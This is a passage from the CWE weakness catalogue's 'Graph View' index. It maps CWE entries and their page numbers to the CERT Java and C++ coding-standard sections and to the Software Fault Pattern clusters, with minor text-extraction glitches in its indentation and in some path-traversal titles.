  - B CWE-413: Improper Resource Locking (p.950)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
  - G CWE-662: Improper Synchronization (p.1363)
  - G CWE-667: Improper Locking (p.1375)
- C CWE-853: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK) (p.2159)
  - B CWE-412: Unrestricted Externally Accessible Lock (p.947)
  - B CWE-413: Improper Resource Locking (p.950)
  - B CWE-609: Double-Checked Locking (p.1283)
  - G CWE-667: Improper Locking (p.1375)
  - B CWE-820: Missing Synchronization (p.1601)
  - B CWE-833: Deadlock (p.1632)
- C CWE-854: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI) (p.2160)
  - V CWE-572: Call to Thread run() instead of start() (p.1221)
  - G CWE-705: Incorrect Control Flow Scoping (p.1437)
- C CWE-855: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS) (p.2160)
  - B CWE-392: Missing Report of Error Condition (p.901)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
  - B CWE-410: Insufficient Resource Pool (p.945)
- C CWE-856: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM) (p.2161)
- C CWE-857: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO) (p.2161)
  - B CWE-135: Incorrect Calculation of Multi-Byte String Length (p.355)
  - B CWE-198: Use of Incorrect Byte Ordering (p.483)
  - B CWE-276: Incorrect Default Permissions (p.630)
  - V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
  - B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
  - G CWE-377: Insecure Temporary File (p.876)
  - G CWE-404: Improper Resource Shutdown or Release (p.927)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-532: Insertion of Sensitive Information into Log File (p.1171)
  - V CWE-67: Improper Handling of Windows Device Names (p.122)

- C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- C CWE-858: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER) (p.2162)
  - B CWE-250: Execution with Unnecessary Privileges (p.568)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - C CWE-400: Uncontrolled Resource Consumption (p.912)
  - V CWE-499: Serializable Class Containing Sensitive Data (p.1132)
  - B CWE-502: Deserialization of Untrusted Data (p.1137)
  - V CWE-589: Call to Non-ubiquitous API (p.1247)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- C CWE-859: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC) (p.2162)
  - V CWE-111: Direct Use of Unsafe JNI (p.258)
  - B CWE-266: Incorrect Privilege Assignment (p.605)
  - B CWE-272: Least Privilege Violation (p.623)
  - C CWE-300: Channel Accessible by Non-Endpoint (p.692)
  - B CWE-302: Authentication Bypass by Assumed-Immutable Data (p.697)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - B CWE-347: Improper Verification of Cryptographic Signature (p.811)
  - B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
  - B CWE-494: Download of Code Without Integrity Check (p.1119)
  - C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
  - B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
- C CWE-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV) (p.2163)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
  - C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- C CWE-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC) (p.2163)
  - V CWE-259: Use of Hard-coded Password (p.591)
  - C CWE-311: Missing Encryption of Sensitive Data (p.718)
  - C CWE-330: Use of Insufficiently Random Values (p.772)
  - V CWE-332: Insufficient Entropy in PRNG (p.781)
  - V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.783)
  - V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.789)
  - V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.791)
  - C CWE-400: Uncontrolled Resource Consumption (p.912)
  - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
  - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
  - B CWE-798: Use of Hard-coded Credentials (p.1573)



## Graph View: CWE-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

- C** CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE) (p.2166)
- C** CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL) (p.2167)
- C** CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP) (p.2167)
  - B** CWE-476: NULL Pointer Dereference (p.1070)
  - B** CWE-480: Use of Incorrect Operator (p.1087)
  - V** CWE-768: Incorrect Short Circuit Evaluation (p.1500)
- C** CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT) (p.2168)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - B** CWE-190: Integer Overflow or Wraparound (p.453)
  - V** CWE-192: Integer Coercion Error (p.463)
  - B** CWE-197: Numeric Truncation Error (p.479)
  - G** CWE-20: Improper Input Validation (p.19)
  - B** CWE-369: Divide By Zero (p.865)
  - B** CWE-466: Return of Pointer Value Outside of Expected Range (p.1049)
  - B** CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
  - B** CWE-606: Unchecked Input for Loop Condition (p.1278)
  - B** CWE-676: Use of Potentially Dangerous Function (p.1394)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - |P|** CWE-682: Incorrect Calculation (p.1403)
- C** CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP) (p.2168)
  - B** CWE-369: Divide By Zero (p.865)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - |P|** CWE-682: Incorrect Calculation (p.1403)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1412)
- C** CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR) (p.2169)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p.1050)
  - B** CWE-469: Use of Pointer Subtraction to Determine Size (p.1055)
  - G** CWE-665: Improper Initialization (p.1368)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p.1585)
- C** CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR) (p.2169)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - B** CWE-170: Improper Null Termination (p.411)
  - B** CWE-193: Off-by-one Error (p.466)
  - B** CWE-464: Addition of Data Structure Sentinel (p.1047)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1412)
  - G** CWE-704: Incorrect Type Conversion or Cast (p.1435)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
- C** CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM) (p.2170)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - B** CWE-128: Wrap-around Error (p.324)
  - B** CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B** CWE-190: Integer Overflow or Wraparound (p.453)
  - G** CWE-20: Improper Input Validation (p.19)
  - B** CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
  - V** CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.561)
  - B** CWE-252: Unchecked Return Value (p.575)

- B CWE-391: Unchecked Error Condition (p.898)
- G CWE-404: Improper Resource Shutdown or Release (p.927)
- V CWE-415: Double Free (p.954)
- V CWE-416: Use After Free (p.958)
- B CWE-476: NULL Pointer Dereference (p.1070)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
- V CWE-590: Free of Memory not on the Heap (p.1248)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1251)
- G CWE-665: Improper Initialization (p.1368)
- V CWE-687: Function Call With Incorrectly Specified Argument Value (p.1413)
- B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1418)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
- G CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
- V CWE-762: Mismatched Memory Management Routines (p.1485)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- B CWE-822: Untrusted Pointer Dereference (p.1604)
- C CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO) (p.2171)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
- B CWE-241: Improper Handling of Unexpected Data Type (p.555)
- B CWE-276: Incorrect Default Permissions (p.630)
- V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.858)
- V CWE-37: Path Traversal: '/absolute/pathname/here' (p.75)
- B CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.881)
- V CWE-38: Path Traversal: '\absolute\pathname\here' (p.77)
- V CWE-39: Path Traversal: 'C:\dirname' (p.79)
- B CWE-391: Unchecked Error Condition (p.898)
- B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.925)
- G CWE-404: Improper Resource Shutdown or Release (p.927)
- B CWE-41: Improper Resolution of Path Equivalence (p.83)
- B CWE-552: Files or Directories Accessible to External Parties (p.1193)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
- V CWE-62: UNIX Hard Link (p.115)
- V CWE-64: Windows Shortcut Following (.LNK) (p.117)
- V CWE-65: Windows Hard Link (p.119)
- V CWE-67: Improper Handling of Windows Device Names (p.122)
- G CWE-675: Multiple Operations on Resource in Single-Operation Context (p.1393)
- B CWE-676: Use of Potentially Dangerous Function (p.1394)
- B CWE-73: External Control of File Name or Path (p.128)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- C CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV) (p.2172)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
- B CWE-426: Untrusted Search Path (p.972)
- B CWE-462: Duplicate Key in Associative List (Alist) (p.1043)
- G CWE-705: Incorrect Control Flow Scoping (p.1437)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)

- C CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG) (p.2172)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
  - G CWE-662: Improper Synchronization (p.1363)
- C CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR) (p.2173)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B CWE-390: Detection of Error Condition Without Action (p.893)
  - B CWE-391: Unchecked Error Condition (p.898)
  - B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
  - B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
  - B CWE-544: Missing Standardized Error Handling Mechanism (p.1185)
  - P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
  - G CWE-705: Incorrect Control Flow Scoping (p.1437)
  - G CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
  - G CWE-755: Improper Handling of Exceptional Conditions (p.1468)
- C CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP) (p.2173)
- C CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON) (p.2174)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B CWE-366: Race Condition within a Thread (p.856)
  - G CWE-404: Improper Resource Shutdown or Release (p.927)
  - B CWE-488: Exposure of Data Element to Wrong Session (p.1104)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
- C CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC) (p.2174)
  - G CWE-116: Improper Encoding or Escaping of Output (p.272)
  - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
  - V CWE-176: Improper Handling of Unicode Encoding (p.422)
  - G CWE-20: Improper Input Validation (p.19)
  - G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - G CWE-330: Use of Insufficiently Random Values (p.772)
  - B CWE-480: Use of Incorrect Operator (p.1087)
  - V CWE-482: Comparing instead of Assigning (p.1093)
  - B CWE-561: Dead Code (p.1201)
  - V CWE-563: Assignment to Variable without Use (p.1206)
  - B CWE-570: Expression is Always False (p.1216)
  - B CWE-571: Expression is Always True (p.1219)
  - P CWE-697: Incorrect Comparison (p.1428)
  - G CWE-704: Incorrect Type Conversion or Cast (p.1435)

## Graph View: CWE-888: Software Fault Pattern (SFP) Clusters

- C CWE-885: SFP Primary Cluster: Risky Values (p.2175)
  - C CWE-998: SFP Secondary Cluster: Glitch in Computation (p.2212)
    - E CWE-128: Wrap-around Error (p.324)
    - E CWE-190: Integer Overflow or Wraparound (p.453)
    - E CWE-191: Integer Underflow (Wrap or Wraparound) (p.460)
    - V CWE-194: Unexpected Sign Extension (p.471)
    - V CWE-195: Signed to Unsigned Conversion Error (p.474)
    - V CWE-196: Unsigned to Signed Conversion Error (p.477)
    - E CWE-197: Numeric Truncation Error (p.479)
    - E CWE-369: Divide By Zero (p.865)
    - V CWE-456: Missing Initialization of a Variable (p.1029)
    - V CWE-457: Use of Uninitialized Variable (p.1034)
    - E CWE-466: Return of Pointer Value Outside of Expected Range (p.1049)
    - E CWE-468: Incorrect Pointer Scaling (p.1053)
    - E CWE-475: Undefined Behavior for Input to API (p.1069)
    - E CWE-480: Use of Incorrect Operator (p.1087)
    - V CWE-481: Assigning instead of Comparing (p.1090)
    - V CWE-486: Comparison of Classes by Name (p.1100)
    - E CWE-562: Return of Stack Variable Address (p.1204)
    - E CWE-570: Expression is Always False (p.1216)
    - E CWE-571: Expression is Always True (p.1219)
    - V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p.1233)
    - E CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
    - V CWE-594: J2EE Framework: Saving Unserializable Objects to Disk (p.1254)
    - V CWE-597: Use of Wrong Operator in String Comparison (p.1258)
    - E CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
    - E CWE-681: Incorrect Conversion between Numeric Types (p.1400)
    - V CWE-683: Function Call With Incorrect Order of Arguments (p.1408)
    - V CWE-685: Function Call With Incorrect Number of Arguments (p.1411)
    - V CWE-686: Function Call With Incorrect Argument Type (p.1412)
    - V CWE-688: Function Call With Incorrect Variable or Reference as Argument (p.1415)
    - E CWE-704: Incorrect Type Conversion or Cast (p.1435)
    - V CWE-768: Incorrect Short Circuit Evaluation (p.1500)
- C CWE-886: SFP Primary Cluster: Unused entities (p.2175)
  - V CWE-482: Comparing instead of Assigning (p.1093)
  - E CWE-561: Dead Code (p.1201)
  - V CWE-563: Assignment to Variable without Use (p.1206)
- C CWE-887: SFP Primary Cluster: API (p.2175)
  - C CWE-1001: SFP Secondary Cluster: Use of an Improper API (p.2213)
    - V CWE-111: Direct Use of Unsafe JNI (p.258)
    - C CWE-227: 7PK - API Abuse (p.2105)
    - E CWE-242: Use of Inherently Dangerous Function (p.557)
    - V CWE-245: J2EE Bad Practices: Direct Management of Connections (p.563)
    - V CWE-246: J2EE Bad Practices: Direct Use of Sockets (p.564)
    - V CWE-382: J2EE Bad Practices: Use of System.exit() (p.883)
    - V CWE-383: J2EE Bad Practices: Direct Use of Threads (p.885)
    - E CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p.988)
    - E CWE-439: Behavioral Change in New Version or Environment (p.1003)
    - E CWE-440: Expected Behavior Violation (p.1004)
    - E CWE-474: Use of Function with Inconsistent Implementations (p.1067)
    - E CWE-477: Use of Obsolete Function (p.1076)



- V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
- V CWE-558: Use of getlogin() in Multithreaded Application (p.1199)
- V CWE-572: Call to Thread run() instead of start() (p.1221)
- C CWE-573: Improper Following of Specification by Caller (p.1222)
- V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p.1224)
- V CWE-575: EJB Bad Practices: Use of AWT Swing (p.1225)
- V CWE-576: EJB Bad Practices: Use of Java I/O (p.1228)
- V CWE-577: EJB Bad Practices: Use of Sockets (p.1229)
- V CWE-578: EJB Bad Practices: Use of Class Loader (p.1231)
- V CWE-586: Explicit Call to Finalize() (p.1243)
- V CWE-589: Call to Non-ubiquitous API (p.1247)
- B CWE-617: Reachable Assertion (p.1297)
- B CWE-676: Use of Potentially Dangerous Function (p.1394)
- C CWE-684: Incorrect Provision of Specified Functionality (p.1410)
- B CWE-695: Use of Low-Level Functionality (p.1425)
- C CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
- C CWE-889: SFP Primary Cluster: Exception Management (p.2176)
  - C CWE-960: SFP Secondary Cluster: Ambiguous Exception Type (p.2192)
    - B CWE-396: Declaration of Catch for Generic Exception (p.908)
    - B CWE-397: Declaration of Throws for Generic Exception (p.910)
  - C CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior (p.2192)
    - B CWE-392: Missing Report of Error Condition (p.901)
    - B CWE-393: Return of Wrong Status Code (p.903)
    - B CWE-455: Non-exit on Failed Initialization (p.1028)
    - B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
    - B CWE-544: Missing Standardized Error Handling Mechanism (p.1185)
    - B CWE-584: Return Inside Finally Block (p.1240)
    - C CWE-636: Not Failing Securely ('Failing Open') (p.1318)
    - P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
  - C CWE-962: SFP Secondary Cluster: Unchecked Status Condition (p.2193)
    - B CWE-248: Uncaught Exception (p.566)
    - B CWE-252: Unchecked Return Value (p.575)
    - B CWE-253: Incorrect Check of Function Return Value (p.582)
    - B CWE-273: Improper Check for Dropped Privileges (p.626)
    - B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.638)
    - B CWE-372: Incomplete Internal State Distinction (p.870)
    - B CWE-390: Detection of Error Condition Without Action (p.893)
    - B CWE-391: Unchecked Error Condition (p.898)
    - B CWE-394: Unexpected Status Code or Return Value (p.904)
    - B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.906)
    - B CWE-431: Missing Handler (p.986)
    - B CWE-478: Missing Default Case in Multiple Condition Expression (p.1079)
    - B CWE-484: Omitted Break Statement in Switch (p.1097)
    - B CWE-600: Uncaught Exception in Servlet (p.1264)
    - C CWE-665: Improper Initialization (p.1368)
    - C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
    - C CWE-755: Improper Handling of Exceptional Conditions (p.1468)
- C CWE-890: SFP Primary Cluster: Memory Access (p.2176)
  - C CWE-970: SFP Secondary Cluster: Faulty Buffer Access (p.2198)
    - C CWE-118: Incorrect Access of Indexable Resource ('Range Error') (p.282)
    - C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
    - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
    - V CWE-121: Stack-based Buffer Overflow (p.303)
    - V CWE-122: Heap-based Buffer Overflow (p.307)

- B CWE-123: Write-what-where Condition (p.310)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p.313)
- B CWE-125: Out-of-bounds Read (p.316)
- V CWE-126: Buffer Over-read (p.320)
- V CWE-127: Buffer Under-read (p.323)
- V CWE-129: Improper Validation of Array Index (p.327)
- C CWE-971: SFP Secondary Cluster: Faulty Pointer Use (p.2198)
  - B CWE-469: Use of Pointer Subtraction to Determine Size (p.1055)
  - B CWE-476: NULL Pointer Dereference (p.1070)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1246)
- C CWE-972: SFP Secondary Cluster: Faulty String Expansion (p.2199)
  - V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p.1542)
- C CWE-973: SFP Secondary Cluster: Improper NULL Termination (p.2199)
  - B CWE-170: Improper Null Termination (p.411)
- C CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation (p.2199)
  - B CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B CWE-135: Incorrect Calculation of Multi-Byte String Length (p.355)
  - C CWE-251: Often Misused: String Management (p.2106)
  - V CWE-467: Use of sizeof() on a Pointer Type (p.1050)
- C CWE-891: SFP Primary Cluster: Memory Management
  - C CWE-969: SFP Secondary Cluster: Faulty Memory Release (p.2197)
    - V CWE-415: Double Free (p.954)
    - V CWE-590: Free of Memory not on the Heap (p.1248)
    - V CWE-761: Free of Pointer not at Start of Buffer (p.1481)
    - B CWE-763: Release of Invalid Pointer or Reference (p.1488)
- C CWE-892: SFP Primary Cluster: Resource Management
  - C CWE-982: SFP Secondary Cluster: Failure to Release Resource (p.2203)
    - G CWE-404: Improper Resource Shutdown or Release (p.927)
    - B CWE-459: Incomplete Cleanup (p.1038)
    - B CWE-771: Missing Reference to Active Allocated Resource (p.1510)
    - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
    - V CWE-773: Missing Reference to Active File Descriptor or Handle (p.1517)
    - V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
  - C CWE-983: SFP Secondary Cluster: Faulty Resource Use (p.2204)
    - V CWE-416: Use After Free (p.958)
    - G CWE-672: Operation on a Resource after Expiration or Release (p.1386)
  - C CWE-984: SFP Secondary Cluster: Life Cycle (p.2204)
    - P CWE-664: Improper Control of a Resource Through its Lifetime (p.1367)
    - G CWE-666: Operation on Resource in Wrong Phase of Lifetime (p.1374)
    - G CWE-675: Multiple Operations on Resource in Single-Operation Context (p.1393)
    - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p.1424)
  - C CWE-985: SFP Secondary Cluster: Unrestricted Consumption (p.2204)
    - G CWE-400: Uncontrolled Resource Consumption (p.912)
    - G CWE-674: Uncontrolled Recursion (p.1391)
    - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
    - V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p.1518)
- C CWE-893: SFP Primary Cluster: Path Resolution
  - C CWE-979: SFP Secondary Cluster: Failed Chroot Jail (p.2201)
    - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.559)
  - C CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution (p.2202)
    - B CWE-386: Symbolic Name not Mapping to Correct Object (p.892)
    - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
    - G CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1285)
    - V CWE-62: UNIX Hard Link (p.115)
    - V CWE-64: Windows Shortcut Following (.LNK) (p.117)

- V CWE-65: Windows Hard Link (p.119)
- C CWE-981: SFP Secondary Cluster: Path Traversal (p.2202)
  - B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B CWE-23: Relative Path Traversal (p.44)
  - V CWE-24: Path Traversal: '..\filedir' (p.51)
  - V CWE-25: Path Traversal: '..\filedir' (p.52)
  - V CWE-26: Path Traversal: 'dir..\filename' (p.54)
  - V CWE-27: Path Traversal: 'dir..\..\filename' (p.56)
  - V CWE-28: Path Traversal: '..\filedir' (p.57)
  - V CWE-29: Path Traversal: '\..\filename' (p.59)
  - V CWE-30: Path Traversal: 'dir\..\filename' (p.61)
  - V CWE-31: Path Traversal: 'dir\..\..\filename' (p.62)
  - V CWE-32: Path Traversal: '...' (Triple Dot) (p.64)
  - V CWE-33: Path Traversal: '....' (Multiple Dot) (p.66)
  - V CWE-34: Path Traversal: '.../' (p.68)
  - V CWE-35: Path Traversal: '.../...' (p.70)
  - B CWE-36: Absolute Path Traversal (p.72)
  - V CWE-37: Path Traversal: '/absolute/pathname/here' (p.75)
  - V CWE-38: Path Traversal: '\absolute\pathname\here' (p.77)
  - V CWE-39: Path Traversal: 'C:dirname' (p.79)
  - V CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) (p.81)
  - B CWE-41: Improper Resolution of Path Equivalence (p.83)
  - V CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p.89)
  - B CWE-428: Unquoted Search Path or Element (p.982)
  - V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p.90)
  - V CWE-44: Path Equivalence: 'file.name' (Internal Dot) (p.91)
  - V CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) (p.92)
  - V CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p.93)
  - V CWE-47: Path Equivalence: ' filename' (Leading Space) (p.94)
  - V CWE-48: Path Equivalence: 'file name' (Internal Whitespace) (p.95)
  - V CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p.96)
  - V CWE-50: Path Equivalence: '//multiple/leading/slash' (p.97)
  - V CWE-51: Path Equivalence: '/multiple//internal/slash' (p.98)
  - V CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p.99)
  - V CWE-53: Path Equivalence: '\multiple\internal\backslash' (p.100)
  - V CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p.101)
  - V CWE-55: Path Equivalence: './' (Single Dot Directory) (p.102)
  - V CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p.104)
  - V CWE-57: Path Equivalence: 'fakedir/..\realdir/filename' (p.105)
  - V CWE-58: Path Equivalence: Windows 8.3 Filename (p.106)
  - B CWE-66: Improper Handling of File Names that Identify Virtual Resources (p.121)
  - V CWE-67: Improper Handling of Windows Device Names (p.122)
  - G CWE-706: Use of Incorrectly-Resolved Name or Reference (p.1439)
  - V CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p.126)
  - B CWE-73: External Control of File Name or Path (p.128)
- C CWE-894: SFP Primary Cluster: Synchronization (p.2177)
  - C CWE-986: SFP Secondary Cluster: Missing Lock (p.2205)
    - B CWE-364: Signal Handler Race Condition (p.851)
    - B CWE-366: Race Condition within a Thread (p.856)
    - B CWE-368: Context Switching Race Condition (p.863)
    - B CWE-413: Improper Resource Locking (p.950)
    - B CWE-414: Missing Lock Check (p.953)
    - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
    - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)



- B CWE-609: Double-Checked Locking (p.1283)
- G CWE-662: Improper Synchronization (p.1363)
- B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1365)
- G CWE-667: Improper Locking (p.1375)
- C CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks (p.2205)
  - B CWE-585: Empty Synchronized Block (p.1241)
  - B CWE-764: Multiple Locks of a Critical Resource (p.1493)
  - B CWE-765: Multiple Unlocks of a Critical Resource (p.1494)
- C CWE-988: SFP Secondary Cluster: Race Condition Window (p.2206)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B CWE-363: Race Condition Enabling Link Following (p.849)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.858)
  - V CWE-370: Missing Check for Certificate Revocation after Initial Check (p.868)
  - G CWE-638: Not Using Complete Mediation (p.1322)
- C CWE-989: SFP Secondary Cluster: Unrestricted Lock (p.2206)
  - B CWE-412: Unrestricted Externally Accessible Lock (p.947)
- C CWE-895: SFP Primary Cluster: Information Leak (p.2178)
  - C CWE-963: SFP Secondary Cluster: Exposed Data (p.2193)
    - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
    - B CWE-117: Improper Output Neutralization for Logs (p.279)
    - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p.11)
    - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
    - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
    - G CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
    - B CWE-201: Insertion of Sensitive Information Into Sent Data (p.493)
    - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
    - B CWE-210: Self-generated Error Message Containing Sensitive Information (p.516)
    - B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.518)
    - B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
    - B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.523)
    - B CWE-214: Invocation of Process Using Visible Sensitive Information (p.525)
    - B CWE-215: Insertion of Sensitive Information Into Debugging Code (p.527)
    - V CWE-219: Storage of File with Sensitive Data Under Web Root (p.529)
    - V CWE-220: Storage of File With Sensitive Data Under FTP Root (p.530)
    - B CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
    - V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.561)
